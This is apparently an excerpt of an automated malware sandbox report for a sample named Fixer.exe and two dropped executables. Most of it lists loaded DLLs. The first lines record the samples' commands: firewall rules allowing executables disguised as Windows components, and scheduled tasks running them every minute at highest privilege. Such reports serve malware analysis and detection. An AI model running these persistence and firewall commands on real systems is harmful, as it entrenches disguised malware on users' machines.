Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process created: C:\Windows\System32\cmd.exe "CMD" netsh advfirewall firewall add rule name="7=PG%XL(%PSA%R" dir=in action=allow program="C:\Windows\System32\xdwdSecurityHealthSystrays.exe" enable=yes & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "Microsoft\Windows\Schost" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process created: C:\Windows\System32\xdwdSecurityHealthSystrays.exe "C:\Windows\System32\xdwdSecurityHealthSystrays.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process created: C:\Windows\System32\cmd.exe "CMD" netsh advfirewall firewall add rule name=",%MUc}<NcMKXc_" dir=in action=allow program="C:\Windows\System32\Defender.exe" enable=yes & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\WindowsAPI" /tr "C:\Windows\System32\Defender.exe" /RL HIGHEST & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process created: C:\Windows\System32\Defender.exe "C:\Windows\System32\Defender.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc minute /mo 30 /tn "Microsoft\Windows\Schost" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc minute /mo 1 /tn "Microsoft\WindowsAPI" /tr "C:\Windows\System32\Defender.exe" /RL HIGHEST

Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: usermgrproxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: usermgrproxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: version.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: version.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: version.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\Defender.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: version.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Section loaded: profapi.dll
